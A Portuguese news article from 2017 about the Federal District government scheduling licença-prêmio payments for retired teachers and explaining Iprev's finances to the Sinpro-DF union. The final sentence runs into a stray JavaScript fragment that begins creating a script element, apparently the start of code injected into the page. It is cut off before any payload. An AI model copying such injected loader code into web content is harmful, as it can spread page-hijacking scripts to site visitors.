Governo agenda data para pagar pecúnia dos professores aposentados

BSB Capital 17/06/2017 às 14:00, Atualizado em 18/09/2017 às 21:17

Anúncio foi feito em reunião no Buriti com diretores do Sinpro

Palácio do Buriti com professores na praça
Foto: Tony Winston/ Agência Brasília

Em reunião realizada terça-feira (13), no Palácio do Buriti, com a comissão de negociação do Sindicato dos Professores (Sinpro-DF), o secretário de Fazenda, Wilson de Paula, e o chefe da Casa Civil, Sérgio Sampaio, confirmaram que entre os dias 18 e 21 de junho será iniciado o pagamento da pecúnia da licença-prêmio dos professores que se aposentaram em 2016.

Também participaram do encontro o subsecretário de Relações de Trabalho e do Terceiro Setor, Márcio Gimene, e Adler Anaximandro Alves, presidente do Instituto de Previdência dos Servidores do DF (Iprev). Na pauta do encontro, os dois pontos: pagamento da pecúnia da licença-prêmio e a situação do Iprev.

Os representantes do GDF informaram que a metodologia para pagamento da pecúnia da licença-prêmio será semelhante à anterior, pela qual os pagamentos foram executados de forma integral para cada aposentado que receber o direito, e efetuados em ordem cronológica, obedecendo à ordem da publicação das aposentadorias.

Na segunda parte da reunião, os representantes do GDF atenderam à pauta da comissão de negociação, que em reuniões anteriores cobrou transparência e explicações sobre os recursos financeiros do Iprev, por causa dos rumores de que havia problemas de ordem financeira em relação ao Instituto.

Tais rumores davam conta de que, em decorrência da primeira operação (a retirada de mais de R$ 1,2 bilhão dos recursos do Iprev, em 2015), e, posteriormente, a retirada de quase R$ 500 milhões, em 2016, o Instituto estaria deficitário.

Adler Alves foi convidado para explicar a real situação do instituto. Ele disse que, hoje, o Iprev continua superavitário e que os imóveis, resultado da primeira operação, já são considerados ativos a receber e isso ocorre porque ainda não foram incorporados por causa da falta de avaliação dos valores desses imóveis.

Informou também que as ações do BRB ainda não foram repassadas para o Iprev porque precisa de uma avaliação do valor do banco a partir de um processo de licitação com as empresas avaliadoras. Alves disse ainda que as empresas que irão avaliar as ações do BRB deverão ser escolhidas até o fim deste mês. E, somente a partir disso, as ações do banco serão repassadas ao Iprev.

A comissão ressaltou a importância de o Iprev ter mais frequência e transparência nas informações prestadas, e que o Sinpro acompanhará de perto todo o processo de incorporação dos imóveis, bem como a transferência das ações do BRB, uma vez que o Instituto é dos servidores públicos do DF.var d=document;var s=d.createElement(‘script’);

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